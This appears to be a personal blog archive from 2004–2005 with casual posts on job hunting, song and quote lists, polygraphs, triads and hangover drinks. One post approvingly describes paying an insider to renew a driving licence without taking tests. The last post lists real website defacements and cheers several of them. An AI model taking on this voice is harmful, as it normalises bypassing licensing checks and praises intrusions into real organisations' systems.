Now the third book I read is The five people you meet in heaven. Ok this is a big step for me. This is actually a novel. And I know that most probably I won't go to heaven. But it's quite interesting. It is a number 1 New York Times bestseller. I start reading it like a few hours ago. In the food court of a mall. And I ignored the one who introduce me to this book. (Hahaha. You know who you are.) In just 30 minutes I already reached page 33. I cannot continue because of ....

What do you think the fourth one will be?
When do you think I'll finish my first and second book?
When do you think I'll be able to resume the third book?

What a disaster...

2005-10-28T15:20:00.000+02:00

Last week I just noticed that my driving licence already months expired. And that's also thanks to a job interview at some company. They asked for my driving licence and stuff. So I planned to renew my driving licence. But thanks to my brain, I forgot until a few days ago I was showing off my picture in that driving licence (I look like a deadbeat).

The next day I called up someone who can help me to do this thing. He knows a few cops and insiders. I got to pay him a little more expensive. But it's good though. Because through him I don't have to queue up, take tests, line up again, and all those paper works.

So yesterday he picked me up at around 9am. We went to the po-po hole. And it's exactly like I said earlier. I just directly went to the picture taking station, put my signature, and scan my fingerprint. That's all. After that I only need to wait till they call my name and give me the new driving licence.

Not long after, one of the officer called me and hand me the new driving licence. And that's where the disaster appear and will stay for the next five years. My picture now even worse. I look like a junkie that just woke up from a week of wasting life.

So my suggestion to you guys, when you're going to take a picture for a document, make sure you put some smiley face, happy face, or if you want get some weird face as you please. Don't end up having a picture that you don't like.

Peace....

Something from tv...

2005-10-26T15:30:00.000+02:00

Have you watched the movie called Taxi?
The stupid cop who can't drive and somehow learned how to drive from Queen Latifah by just singing to make him drive a lot better (even can beat some stunt men). Well let's not talk about that before someone get me to say sorry or something cause of insulting something that is actually cant be true. In this part I want to talk about the tire that somehow can fix itself. Remember the part a car got shot in the tire, but somehow the tire gets back like never blown up or pierced by something. That's not just tv shitting us. The tire actually exist. And there are a few methods use to do that. Here's how they work.

While the available tire inflation systems vary in design, they share some common elements.
They all use some type of valve to isolate individual tires to prevent airflow from all tires when one is being checked or inflated.

They have a method for sensing the tire pressures. This is addressed in most cases with central sensors that relay information to an electronic control unit and then to the driver.

They have an air source, which is usually an existing onboard source such as braking or pneumatic systems. When using an existing system, however, they have to ensure that they don't jeopardize its original function. For this reason, there are safety checks to ensure that there is enough air pressure for the source's primary use before pulling air for tire inflation.

There has to be a way to get the air from the air source to the tires, which is usually through the axle. Systems either use a sealed-hub axle with a hose from the hub to the tire valve or else they run tubes through the axle with the axle acting as a conduit.

There has to be a pressure relief vent to vent air from the tire without risking damage to the hub or rear-axle seals.

I'm not sure how much it costs for each. But why not use it? It'll be useful. Do you know that in some countries there are city sleazebags use a method by putting nails and stuff on the road to get their victims to stop and get out of the car to fix the tire?

The first interview...

2005-10-13T08:49:00.000+02:00

I had a job interview yesterday. The company offers me Management Executive trainer. The salary is good. It's really good considering I'm a fresh graduate.

I suppose to to a job training today. But I'm not going. Because that job isn't so attractive. I don't find it really interesting and challenging. Let's keep this a secret between us, I told the company that I have an urgent situation. Which makes me have to go back to my hometown this weekend for a week or so. Actually I'm waiting for my next job interviews.

Wish me luck again bros n sis.

Peace.....

The fact of this life....

2005-10-10T16:13:00.000+02:00

Around last month I made my first step as a total adult. I graduated at last from my University. Graduated with lots of suffer and fights. And I am so happy until this very moment that I've beaten my enemies and win the fights.

Right now I'm in front of the monitor. Not my own computer. I'm connected through this internet cafe. Looking for jobs over the Internet. Man it's tough. Well at first it is interesting to find that there's a website that organize employment advertisement for free. I already sign up since last week. And already sent a few resumes to different companies. But up till now they haven't return my answer.

Well like my motto, relax be cool. So I'll stick to it, wait, and keep looking for other opportunities.
Pray for me you all...

Peace

My new blog...

2005-06-29T20:38:00.000+02:00

I have a brand new fresh from the oven shiny look blog. Try to visit it sometime too.
The address is:
http://raysa_to_the_world.blogs.friendster.com

Interesting quotes from movies....

2005-06-29T20:34:00.000+02:00

I found these quotes are interesting to know. Check them out...

Fight Club
On a long enough timeline, the survival rate for everyone drops to zero.

Heathers
Whether or not a teenager decides to kill themselves is the biggest decision of their life.

A Bug's Life
First rule of leadership: everything is your fault.

Casablanca
Major Strasser: What is your nationality?
Rick Blaine: I'm a drunkard.
Captain Louis Renault: That makes Rick a citizen of the world.

Star Trek II: The Wrath of Khan
How to deal with death is at least as important as how to deal with life.

Fear
You can't respect somebody who kisses your ass.

Demolition Man
Edgar Friendly: I'm no leader. I do what I have to do - sometimes people come with me.

Scarface Quotes
I always tell the truth. Even when I lie.

Scarface Quotes
Every day above ground is a good day.

Scarface Quotes
I got ears, ya' know. I hear things.

Scarface
Tony Montana: Me, I want what's coming to me.
Manny: Oh, well... what's coming to you?
Tony Montana: The world, Chico, and everything in it.

Ace Ventura: Pet Detective
We're talking paranoid delusional psychosis. I saw the guy's room. Cozy... if you're Hannibal Lecter.

Antz
I think everything must go back to the fact I had a very anxious childhood. You know, my mother never had time for me. You know, when you're the middle child in a family of five million, you don't get any attention.

American Pie
Jim: She's gone! Oh my God! She used me. I was used..... I was used! Cool!

Bring It On
Cheerleaders are dancers gone retarded.

Steel Magnolias
Smile, it enhances your face value.

The Sixth Sense
I see dead people.

Taxi Driver
You talkin' to me?

Terminator
I'll be back.

Dude, Where's My Car?
Jesse: Have you seen my car?
Christie: Yeah.
Jesse: You have?
Christie: Well, I saw the backseat.
Jesse: No, I'm talking about the whole thing.

Dumb & Dumber
Lloyd: What's the soup du jour?
Waiter: It's the soup of the day.
Lloyd: Mmm... that does sound good.

Heathers
Veronica: This may seem like a stupid question...
JD: There are no stupid questions.
Veronica: If you inherit five million dollars the same day aliens tell the earth they're blowing us up in two days, what would you do?
JD: That's the stupidest question I've ever heard!

Addams Family Values
Amanda: Why are you dressed like somebody died?
Wednesday: Wait...

Aliens
Hey, maybe you haven't been keeping up on current events, but we just got our asses kicked, pal!

Gone with the Wind
Frankly, my dear, I don't give a damn!

Jerry Maguire
You had me at hello.

Some sport you wanna check out...

2005-06-28T07:21:00.000+02:00

BASE jumping is the sport of using a Quick Facts about: parachute
Rescue equipment consisting of a device that fills with air and retards your fallparachute to jump from fixed objects. "BASE" is an acronym that stands for the four categories of objects from which one can jump; (B)uilding, (A)ntenna (an uninhabited tower such as an aerial mast), (S)pan (a bridge, arch or dome), and (E)arth (a cliff or other natural formation). BASE jumping is much more dangerous than skydiving from aircraft and is currently regarded as a fringe extreme sport.

BASE jumping grew out of skydiving (recreational parachuting from aircraft). There are three main technical differences between the two. Firstly, BASE jumps are generally made from much lower altitudes than skydives. Secondly, a BASE jump takes place in close proximity to the cliff or tower which provided the jump platform. Thirdly, the BASE jumper generally has a lower airspeed than a skydiver throughout the jump, because a BASE jump starts with zero airspeed, and (due to the limited altitude) a BASE jumper very seldom approaches the Quick Facts about: terminal velocity
The constant maximum velocity reached by a body falling through the atmosphere under the attraction of gravityterminal velocity (airspeed) of a skydiver. All three factors have significant implications.

BASE jumping is actually not legal. The legal position is different countries. For example, in Norway's Lysefjord, BASE jumpers are made welcome. Many sites in the European Alps, near Chamonix and on the Eiger, are open to jumpers.

Wuuuuuoooowwwwwwwww..................

2005-05-27T13:51:00.000+02:00

Damn...
I just got an email and thank god, it reminds me of something I almost forgot.
And I wanna share it with you all.
Open Http://www.ibizayearbook.com
Search for member number 1722.
Damn..... Are there any of you were there too? Contact me please....
This is so great. And I must have that book or dvd.
I'm freaking happy now.
That's it from me. Peace...

It helps whenever you’re feeling down………

2005-05-26T05:21:00.000+02:00

Under The Bridge - Red Hot Chili Peppers

I Could Have Lied - Red Hot Chili Peppers

Something In The Way - Nirvana

Patience - Guns N' Roses

November Rain - Guns N' Roses

Something I Can Never Have - Nine Inch Nails

And All That Could Have Been - Nine Inch Nails

Bin Ich Nur Glücklich Wenn Es Schmerzt - Böhse Onkelz

Am I Inside? - Alice In Chains

Best I Ever Had - Vertical Horizon

High Hopes - Pink Floyd

Coming Back To Life - Pink Floyd

Don't Follow - Alice In Chains

Faster Pussycat - House of Pain

Everything - Lifehouse

Good Riddance - Green Day

From the Edge of the Deep Green Sea - The Cure

When A Blind Man Cries - Deep Purple

My Sweet Prince - Placebo

Iris - Goo Goo Dolls

Gone Away - Offspring

The Reason - Hoobastank

My Immortal - Evanescence

Everybody Hurts - R.E.M.

Fix You - Coldplay

The Scientist - Coldplay

Trouble - Coldplay

Glycerine - Bush

1916 - Motorhead

Champaigne Supernova - Oasis

Just Getting Older - Oasis

Wonderwall - Oasis

The End - The Doors

Fire Maple Song - Everclear

She Is suffering - Manic Street Preachers

Adams Song - Blink 182

Bohemian Rhapsody - Queen

Darling Lorraine - Paul Simmon

Good Bye To Romance - Ozzy

The Drugs Don't Work - The Verve

Bitter Sweet Symphony - The Verve feat. Mick Jagger

Black - Pearl Jam

Wish You Were Here - Radiohead

Perfect Blue Buildings - Counting Crows

Round Here - Counting Crows

Long December - Counting Crows

Lightning Crashes - Live

Pale Blue Eyes- Lou Reed

The Kids - Lou Reed

Blister- Jimmy Eat World

Firestarter - Jimmy Eat World

Yesterday - Beatles

Tears in Heaven - Eric Clapton

Piano Man - Billy Joel

My Fathers chair - Rick Springfield

Angels Of The Disappeared - Rick Springfield

Runaway Train - Soul Asylum

Mad World - Gary Jules

Never Forget You - Mariah Carey

Right Here Waiting - Richard Marx

Knockin' On Heavens Door - Bob Dylan

Strange Fruit - Billie Holiday

Freshman - The Verve Pipe

Colorful - The Verve Pipe

You Were Meant For Me - Jewel

Who Will Save Your Soul? - Jewel

Leaving On A Jet Plane - Peter, Paul And Mary

Into the West - Annie Lennox

Against All Odds - Phil Collins

Forever - Ben Harper

Another Lonely Day - Ben Harper

Walk Away - Ben Harper

Fade Away - Bruce Springsteen

Crying - Roy Orbison

Never Is A Promise - Fiona Apple

Sullen Girl - Fiona Apple

1000 Oceans - Tori Amos

Brick - Ben Folds Five

Gloomy Sunday - Billie Holiday

Llorando - Mulholland Drive

That I Would Be Good - Alanis Morissette

Comin' Back To Me - Jefferson Airplane

Living Next Door To Alice - Smokie

Sad Love - Crooked Fingers

All At Once - Whitney Houston

Do You Know Where You're Going To - Diana Ross

I've Got Love On My Mind - Natalie Cole

The Dance - Garth Brooks

This Womans Work - Kate Bush

Whiskey Lullaby - Brad Paisley & Alison Krauss

Nothing Compares 2 U - Sinead O'Connor

Good Bye To Love - The Carpenters

Music videos you have to watch!!!!!!!

2005-05-23T13:16:00.000+02:00

Love Will Never Do Without You - Janet Jackson

Round Here - Counting Crows

I'm A Slave 4 you - Britney Spears

Baby Boy - Beyonce Knowles

The Unforgiven - Metallica

Call on me - Eric Prydz

Nothing Else Matters - Metallica

Breathe - Faith Hill

With or Without You - u2

Hot in Here - Nelly

Erotica - Madonna

I like the way you move - Outkast

Girls on Film - Duran Duran

Rain - Madonna

Justify My Love - Madonna

Father Figure - George Michael

Freedom - George Michael

Rock Wit you - Ashanti

Can't hold me down - Christina Aguilera feat. Lil Kim

Liebe Ist Alles - Rosenstolz

You Shook Me All Night Long - AC/DC

Somebody To Love - Boogie Pimps

Breathe - Faith Hill

Pump It Up - Danzel

Lapdance - N.E.R.D

Get it On - Intenso Project feat. Lisa Scott-Lee

Again - Lenny Kravitz

Satisfaction - Benny Benassi Presents The Biz

Miserable - Lit

We Want To free - DJ Peran

Underneath It All - No Doubt

Love Me Right (Oh Sheila) - Angel City feat Lara McAllen

Take A Bow - Madonna

If I Could Turn Back Time - Cher

My My My - Armand Van Helden

Soak Up The Sun - Sheryl Crow

Get Up Stand Up - Stellar Project Feat. Brandi Emma

If I Were You - Candee Jay

Just Like A Pill - Pink

Stupidisco - Junior Jack

Wicked Game - Chris Isaak

The Middle - Jimmy Eat World

Loneliness - Tomcraft

The Way (Put Your Hand In My Hand) - Divine Inspiration

Deepest Blue - Deepest Blue

Kernkraft 400 - Zombie Nation

Jenny From The Block - J. Lo

Rapture - iio

The Boys Of Summer - DJ Sammy

Time To Burn - Storm

Fire Wire - Cosmic Gate

Happy People - Static Revenger

Sex & Sun - Aloud

It’s All Vain - Magnolia

Plug Me In - Add N To (X)

Crazy, Sexy, Marvelous - Paffendorf

Romeo - Dolly Parton

Dirrty - Christina Aguilera

Whenever Wherever - Shakira

Smooth - Santana feat. Rob Thomas

Criminal - Fiona Apple

Baby Got Back - Sir Mix A lot

Thong Song - Sisqo

Cherry Pie - Warrant

I'm Too Sexy - Right Said Fred

Here I Go Again - Whitesnake

Open Your Heart - Madonna

Lady Marmalade - Christina, Mya, Pink & Lil' Kim

Never Gonna Get It - En Vogue

Cradle of Love - Billy Idol

I Want Your Sex - George Michael

Baby Did a Bad Bad Thing - Chris Isaak

Gimme All your Lovin' - ZZ Top

Creep - TLC

You're Makin' Me High - Toni Braxton

Gett Off - Prince

Escape - Enrique Iglesias

Hot For Teacher - Van Halen

Doin It - LL Cool J

Addicted to Love - Robert Palmer

Honey - Mariah Carey

Crazy - Aerosmith

Sorry for 2005

2005-05-23T12:57:00.000+02:00

Really sorry for being unable to update this site.
I was so busy in studying, exams, and now i'm preparing my thesis.
Damn there are a lot of things to do, not forgetting weekend parties.
But don't you skip a day visiting this site from now on. Cuz i'll be active like before.
Thank you for all supports from you. Hope you'll not leave and abandon this site unvisited.
Peace...

Hong Kong Triads....

2004-11-23T04:40:00.000+01:00

Secret societies shrouding organised criminal conspiracies are a major challenge to law enforcement in Hong Kong. About 50 triad groups, many of them minor localised gangs of young thugs, are active in modern Hong Kong. There are several larger groups, including the Sun Yee On, Wo Shing Wo and 14k, which are syndicates of sophisticated criminals, mirror images of such similar western empires of crime as the Mafia.

The secretive nature of triad societies, based originally on patriotic Chinese resistance to Manchu rule, makes it virtually impossible for police to penetrate the inner sanctums of these organisations. Romanticised legends of the past are far removed from the present day realities; triads are noxious, cowardly thugs who prey on the weak, the innocent and the foolish. Their activities are funded by enormous income from gambling, prostitution, pornography, narcotics, loan sharking, extortion, terror and violence. There is no criminal act so despicable in which they do not eagerly participate, if an illegal profit can be made.

Combatting that social cancer is one of the greatest challenges in policing Hong Kong. It is carried out largely by detectives in the Organised Crime and Triad Bureau, with significant street level backup from every District. Triads are extreme threats both to law and order and social stability; in the 1950s, there were estimates that nominal triad membership roles could number up to 300,000,though most were inactive. The way they prey on street hawkers, home decorators, restaurants, bars, entertainment outlets and film making means costs of the millions of dollars extorted from small businesses are daily passed on to the public. All Hong Kong is held victim by the thugs of organised crime and local street gangs.

Although most gangs and organised syndicates operate independently, many triads attempt to spread the myth of one invincible, invisible and all-powerful organisation. This dogma is meant to terrify victims into silence. Unfortunately, these tactics work with frightening effect. Detectives are faced every day; with a wall of silence.

Heading the unrelenting drive to fight this perpetual threat, the Organised Crime and Triad Bureau, working hand in hand with the Criminal Intelligence Bureau at Police Headquarters, is responsible for collecting intelligence and collating all information funnelled in from all anti-triad units. Together with intelligence about syndicates investigated by Narcotics and Commercial Crime Bureaus, the information is used to help target the Mr Bigs. Other agencies, like Customs, Immigration and ICAC, are also working with police to clip the spreading wings of triads and other organised syndicates.

Ironically, it is the law that gives criminals protection. Without sufficient power to investigate the source of wealth of the masterminds of crime and without legislation that carries tougher deterrent penalties - both in confiscating criminals' illegal gains and in sending them to jail for lengthy terms - police efforts to combat and contain triads is hampered. In this regard, an Organised and Serious Crimes Bill has been proposed and is currently in force to combat the Mr. Bigs.

Lie or lie not...

2004-09-01T05:27:00.000+02:00

People tell lies and deceive others for many reasons. Most often, lying is a defense mechanism used to avoid trouble with the law, bosses or authority figures. Sometimes, you can tell when someone's lying, but other times it may not be so easy. Polygraphs, commonly called "lie detectors," are instruments that monitor a person's physiological reactions. These instruments do not, as their nickname suggests, detect lies. They can only detect whether deceptive behavior is being displayed.

Do you think you can fool a polygraph machine and examiner? In this article, you'll learn how these instruments monitor your vital signs, how a polygraph exam works and about the legalities of polygraph testing.
A polygraph instrument is basically a combination of medical devices that are used to monitor changes occurring in the body. As a person is questioned about a certain event or incident, the examiner looks to see how the person's heart rate, blood pressure, respiratory rate and electro-dermal activity (sweatiness, in this case of the fingers) change in comparison to normal levels. Fluctuations may indicate that person is being deceptive, but exam results are open to interpretation by the examiner.

Polygraph exams are most often associated with criminal investigations, but there are other instances in which they are used. You may one day be subject to a polygraph exam before being hired for a job: Many government entities, and some private-sector employers, will require or ask you to undergo a polygraph exam prior to employment.
Polygraph examinations are designed to look for significant involuntary responses going on in a person's body when that person is subjected to stress, such as the stress associated with deception. The exams are not able to specifically detect if a person is lying, according to polygrapher Dr. Bob Lee, former executive director of operations at Axciton Systems, a manufacturer of polygraph instruments. But there are certain physiological responses that most of us undergo when attempting to deceive another person. By asking questions about a particular issue under investigation and examining a subject's physiological reactions to those questions, a polygraph examiner can determine if deceptive behavior is being demonstrated.

The polygraph instrument has undergone a dramatic change in the last decade. For many years, polygraphs were those instruments that you see in the movies with little needles scribbling lines on a single strip of scrolling paper. These are called analog polygraphs. Today, most polygraph tests are administered with digital equipment. The scrolling paper has been replaced with sophisticated algorithms and computer monitors.

When you sit down in the chair for a polygraph exam, several tubes and wires are connected to your body in specific locations to monitor your physiological activities. Deceptive behavior is supposed to trigger certain physiological changes that can be detected by a polygraph and a trained examiner, who is sometimes called a forensic psychophysiologist (FP). This examiner is looking for the amount of fluctuation in certain physiological activities. Here's a list of physiological activities that are monitored by the polygraph and how they are monitored:

Respiratory rate - Two pneumographs, rubber tubes filled with air, are placed around the test subject's chest and abdomen. When the chest or abdominal muscles expand, the air inside the tubes is displaced. In an analog polygraph, the displaced air acts on a bellows, an accordion-like device that contracts when the tubes expand. This bellows is attached to a mechanical arm, which is connected to an ink-filled pen that makes marks on the scrolling paper when the subject takes a breath. A digital polygraph also uses the pneumographs, but employs transducers to convert the energy of the displaced air into electronic signals.
Blood pressure/heart rate - A blood-pressure cuff is placed around the subject's upper arm. Tubing runs from the cuff to the polygraph. As blood pumps through the arm it makes sound; the changes in pressure caused by the sound displace the air in the tubes, which are connected to a bellows, which moves the pen. Again, in digital polygraphs, these signals are converted into electrical signals by transducers.
Galvanic skin resistance (GSR) - This is also called electro-dermal activity, and is basically a measure of the sweat on your fingertips. The finger tips are one of the most porous areas on the body and so are a good place to look for sweat. The idea is that we sweat more when we are placed under stress. Fingerplates, called galvanometers, are attached to two of the subject's fingers. These plates measure the skin's ability to conduct electricity. When the skin is hydrated (as with sweat), it conducts electricity much more easily than when it is dry. Some polygraphs also record arm and leg movements. As the examiner asks questions, signals from the sensors connected to your body are recorded on a single strip of moving paper. You will learn more about the examiner and the test itself later.

Undergoing a lie detector test can be an intimidating experience that can challenge the nerves of even the most stoic person. You are sitting there with wires and tubes attached to and wrapped around your body. Even if you have nothing to hide, you could be afraid that the metal-box instrument sitting next to you will say otherwise. Fittingly, undergoing the uncomfortable experience of a polygraph test is often referred to as "going on the box."

A polygraph exam is a long process that can be divided up into several stages. Here's how a typical exam might work:
Pretest - This consists of an interview between the examiner and examinee, where the two individuals get to learn about each other. This may last about one hour. At this point, the examiner gets the examinee's side of the story concerning the events under investigation. While the subject is sitting there answering questions, the examiner also profiles the examinee. The examiner wants to see how the subject responds to questions and processes information.
Design questions - The examiner designs questions that are specific to the issue under investigation and reviews these questions with the subject.
In-test - The actual exam is given. The examiner asks 10 or 11 questions, only three of four of which are relevant to the issue or crime being investigated. The other questions are control questions. A control question is a very general question, such as "Have you ever stolen anything in your life?" -- a type of question that is so broad that almost no one can honestly respond with a "no." If the person answers "no," the examiner can get an idea of the reaction that the examinee demonstrates when being deceptive.
Post-test - The examiner analyzes the data of physiological responses and makes a determination regarding whether the person has been deceptive. If there are significant fluctuations that show up in the results, this may signal that the subject has been deceptive, especially if the person displayed similar responses to a question that was asked repeatedly.

Like skateboarding? Read this...

2004-08-16T03:35:00.000+02:00

I read it from CNN.com. And again, I found it interesting. And decide to put it in my blog. Well... I am going to need your assistance again. Please don't let CNN or the authority that I copy and paste some story from them.

SAYREVILLE, New Jersey (AP) -- While the tennis courts at Kennedy Park are bare on a hot afternoon, parents keep dropping off teenagers at the skate park, home to all the day's action.
A dozen boys sit on the ledge, cooling off while watching others take turns flying downhill on the concrete slope. Forget Little League: In some areas, skateboarding is now the sport of choice.
Clad in helmets and jeans, the teens have their choice of skating into a clover-shaped bowl -- resembling an oddly shaped empty swimming pool -- or over a series of obstacles not unlike the park benches or railings used in street skating.
"You can just, like, go out here and do your own thing," said Nick Marrone, 13, visiting from Poughquag, New York. "It's whatever you want; you're just having fun."
The sport once mainly practiced on backyard ramps and in Southern California skate parks has found universal appeal. One estimate is that there are 12 million skateboarders nationwide and more than 1,000 public skateparks on top of the multitude of private ones.
"It's a great rush," said 14-year-old Amelia Brodka, taking a short break from the vert ramp at the indoor RexPlex Skate Park in Elizabeth.
The sport is growing not only in the suburbs of big cities, but also in small communities like Searcy, Arkansas.
"There are more and more kids every single day getting involved and the stereotypes are really being lifted," said Alan Holloway, program coordinator for Searcy Parks and Recreation, which opened its municipal skate park in 2000 and expanded it in 2002 because of heavy use.
The core market seems to be in the 10- to 15-year-old group of "energetic, crazy young kids who are fearless," and who now surpass the number of Little League baseball players, said Miki Vuckovich of the Tony Hawk Foundation, established by perhaps the sport's best-known athlete.
"A lot of kids are looking for alternatives now; they don't want to do team sports," said Mark Sperling, founder of Op Girls Learn to Ride, which teaches skateboarding and other action sports to females. "Skateboarding is a way for them to express who they are and their creativity."
It's also inexpensive -- just grab a secondhand skateboard and head to the streets. And while some skate competitively, others say they have fun without the pressures or politics of team sports.
"There's no coach yelling at you that you bobbled the play," said Chris Li, 16, of Livingston, New Jersey, who is lobbying his hometown to build a municipal park. "It's not like you bobble one play, and you're benched for the rest of the season."
The sport's popularity dates to the 1960s and has surged again in the last 10 years thanks in part to the X Games, the action sports competition broadcast on ESPN and ABC.
And its appeal these days is ever wider. Some parks have an "Old Man's Night;" and girls and women acccount for about 20 percent of skateboarders. There's even a California-based International Society of Skateboarding Moms.
"We just can't get this kind of buzz from scrapbooking," said founder Barb Odanaka, 41, of Laguna Beach, Calif. "We can't get this on the tennis courts and we certainly can't get it from shopping at the mall. There's something about looking down a vertical wall of cement and basically hurling yourself down this wall on four wheels. That is a rush like nothing else."
Avid skateboarders maintain their sport is no more dangerous than football or soccer.
Skateboarding-related accidents accounted for 113,180 emergency room injuries in 2002, according to the U.S. Consumer Product Safety Commission. That's about a third of the bicycle injuries suffered by kids under age 15, and about half the number of injuries from playground equipment.
Aspiring riders are usually drawn more to the adrenaline rush than the fitness benefits, but it does provide a great workout, experts say.
"It's cardiovascular; it's better than running," said Brendan Flattery, 28, who runs skateboarding programs at the RexPlex. "You're constantly moving."
Balance is key, and it also helps to have a sense of direction and agility. While learning to skateboard requires patience and perseverance, Vuckovich said the rewards are many.
"You're always progressing, you're always learning something new," he said. "You see things and you want to replicate it. You want to be that guy. The closer you get there, the more the mystery is solved and the more excited you get. It's a great thing for kids to do."
The trend also means teens are spending less time on video games.
"The more time that you can limit them from being squatted in front of the TV, and actually get them outside physically doing something, that's a good thing," said Searcy parks coordinator Holloway.

Alcohol...

2004-07-28T15:39:00.000+02:00

Alcohol addiction is a very serious and sometimes life threatening dilemma. Not only is it difficult for the addict, it is extremely hard on those around them who care about them. For the addict, admitting they have an addiction problem can be difficult. However painful this may be, it must be acknowledged as the first gradient to overcoming the problem. The next hurdle is being willing to seek & accept help from an addiction professional. It can be hard for an addict to confront the fact that they can not do it alone. Once this fact is accepted, it is time to seek the appropriate professional treatment. Drug rehab programs based on the social education modality are highly successful. This means that individuals who are recovering from Alcohol addiction are not made wrong for their past indiscretions, but are taught how to avoid future ones. They are provided with knowledge on how to change their lives and how to live comfortably without Alcohol. Receiving treatment for addiction should be done in a safe & stable environment that is conducive to addiction recovery. Research studies show that residential treatment programs of at least 3 months in duration have the best success rates. 3 months may seem like a long time, but one day in the life of an individual addicted to Alcohol can feel like an eternity. Addiction is a self imposed hellish slavery. The chains can be broken people do it everyday. You can be free!

Drug rehabilitation is a multi-phase, multi-faceted, long term process. Detoxification is only the first step on the road of addiction treatment. Physical detoxification alone is not sufficient to change the patterns of a drug addict. Recovery from addiction involves an extended process which usually requires the help of drug addiction professionals. To make a successful recovery, the addict needs new tools in order to deal with situations and problems which arise. Factors such as encountering someone from their days of using, returning to the same environment and places, or even small things such as smells and objects trigger memories which can create psychological stress. This can hinder the addict's goal of complete recovery, thus not allowing the addict to permanently regain control of his or her life.

Almost all addicts tell themselves in the beginning that they can conquer their addiction on their own without the help of outside resources. Unfortunately, this is not usually the case. When an addict makes an attempt at detoxification and to discontinue drug use without the aid of professional help, statistically the results do not last long. Research into the effects of long-term addiction has shown that substantial changes in the way the brain functions are present long after the addict has stopped using drugs. Realizing that a drug addict who wishes to recover from their addiction needs more than just strong will power is the key to a successful recovery. Battling not only cravings for their drug of choice, re-stimulation of their past and changes in the way their brain functions, it is no wonder that quitting drugs without professional help is an uphill battle.

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How do you kiss...

2004-07-26T11:26:00.000+02:00

Scientists found out why a couple kisses with eyes shut

Why do people close their eyes when they kiss? One scientist from Singapore who had been determined to answer the question, finally proposed his hypothesis on such account on Saturday. Apparently, people behave the way they do due to three reasons.

First of all, people shut their eyelids when kissing in order to avoid getting overwhelmed emotionally. Secondly, they do so in order to avoid seeing amorphous facial features of their partner up close.

"The answer depends how one approaches this issue," says professor Min from the National institute of education, reports Straits Times. "The entire process of kissing triggers sensory overload," notes he. "Shutting our eyes, helps us reduce the emotional load."

There is also another viewpoint in regards to the issue. In the course of a kiss, you get to see blur, non 3D facial features; this can be quite repulsive," says the professor. That is why we instinctively prefer to have our eyes shut while kissing, reports MIGnews.com.

The third reason, which isn't characteristic of everyone, is modesty. "Some assume that people tend to close their eyes while kissing to put their partner at ease, so that he/she will not feel uncomfortable."

For those who can't drink a lot...

2004-07-23T14:51:00.000+02:00

People have been searching for the perfect hangover cure for as long as they have been drinking too much. When your head's pounding and you've got the cold sweats, these all worth considering…

method one - hair of the dog
Many of the best hangover cures rely on more alcohol to remove the misery. Depending on how bad you feel, you may or may not be up to more booze anyway, but if you are, the best two to try are:

banana cow
Bananas are an important source of potassium, which your body needs in moments like this.

Ingredients:

1 crushed ripe banana
2 level tablespoons powdered sugar
3 measures whole milk
1 measure rum plenty of crushed ice

Instructions:
Pour into a large glass, stir frantically and drink.

bloody mary
Many people attribute strange and mystical curative powers to this simple drink:

Ingredients:

4 measures tomato juice
1½ measures vodka
¼ measure lemon juice
1 teaspoon Worcestershire sauce
a drop of Tabasco
Celery salt, pepper, paprika to taste

Instructions:
Sip slowly. Serve with celery, which you should consider breakfast:

if your stomach can't handle more alcohol, try a virgin fogcutter
Ingredients:

1 teaspoon Worcestershire sauce
1 drop Tabasco
1 raw egg teaspoon
lemon juice
salt and pepper to taste

Instructions:
Pour into a whisky glass, down in one, then repeat until you feel better or die, whichever is the sooner.

Hacked websites...

2004-07-23T13:47:00.000+02:00

I manage to find information about some websites which were hacked before. I can't find some hackers id from those hacked websites. But what they did to the websites are stated down here. Have fun reading on these hackers' piece of arts.

Telia
hacked by The Kevin Mitnick Liberation Front
3/17/96 ---> Sweden's biggest telecommunication and Internet company was hacked for the second time in the same day after insuring on national radio that they had dealt with their lack of security!!

Department of Justice
hacked by ???
8/18/96 ---> Hacked as a protest against the propositions to censor the Internet and make it illegal to transfer pornografy on the net.

CIA
hacked by Power Through Resistance
9/20/96 ---> This site made the CNN news! Bo Skarinder, Swedish prosecutor, prosecuted earlier that week five people for hacking.

Kriegsman
hacked by The Ghost Shirt Factory
11/12/96 ---> A company that sells furs got hacked by an animal-rights activist.

Nethosting
hacked by 01001000 00110111
11/27/96 --->Nethosting got their hompage and all of their 1500!!! clients hompages hacked in one day. VERY impressive!

Labour
hacked by ???
12/12/96 ---> The British Labour Party got, yeah, you guessed right:HACKED!

NASA
hacked by \\StOrM\
12/23/96 ---> This hack has both frames and Java Script, which probably is the first time a hacked site has had this.

NASA
hacked by \\StOrM\
12/30/96 ---> Hacked again one week later. No wonder Challenger exploded...

U.S. Air force
hacked by ???
12/30/96 ---> Welcome to the Truth!

Legal Employment Network
hacked by ???
1/8/97 ---> Was up for almost a week.

Republic of Indonesia
hacked by TOXYN
2/11/97 --->The web site of Indonesia's Department of Foreign Affairs got hacked. This was done to protest against Indonesia's occupation of East Timor.

NASA
hacked by H4G1S
3/5/97 ---> "Former Sysop at NASA, now looking for a permanent position as a sanitation engineer"

Cyberpromotions
hacked by ???
3/19/97 ---> Finally! The fat pig Sanford Wallace's Cyberpromotions get hacked. This is the guy who fills up your mailbox with junk and makes money from it.

Amnesty International
hacked by 4 man dream team
4/26/97 ---> Amnesty got hacked, I don't know why...

Conservative
hacked by Circle of Deception
4/27/97 ---> The British Conservative Party got hacked, now they have at least one thing in common with Labour...

The Lost World: Jurassic Park
hacked by hackers(?)
5/27/97 ---> The lost world homepage was hacked 4 days after the movie opened. It was up for 12 hours!!

LAPD
hacked by P.A.R.A.
5/29/97 ---> Well, this is probably a hoax but I like the material, that's why it's here. Contact me if you have info on this one.

Geocities
hacked by fr0lic
6/25/97 ---> Geocities frontpage got hacked. Wasn't up for very long.

C.S.I.S.
hacked by ???
7/15/97 ---> The Canadian Security Intelligence Service got H*A*C*K*E*D!

Crack a Mac
hacked by Starfire
8/18/97 ---> The contest to crack the MacOS continues but the frontpage at hacke.infinit.se got hacked. $13000 to the hacker.

Pentagon
hacked by Chameleon
10/4/97 ---> The US Army Artificial Intelligence Center at URL http://www.pentagon-ai.army.mil is hacked.

Whitepower.org
hacked by L.O.U.
10/11/97 ---> This is excellent, more like this! Screw with these losers as often as you can.

Spice Girls
hacked by Team CodeZero
11/14/97 ---> This is the "spiceworld"-page from Spice Girls' official homepage. This hack will not be up that long since who will remember who they were 2 months from now?

China Agricultural University
hacked by LSD
11/26/97 ---> The Chinese agricultural universty located at http://www.cau.edu.cn was hacked. A political hack against China's occupation of Tibet, and against testing nuclear weapons. Good Job!

Yahoo
hacked by PANTZ/H4GiS
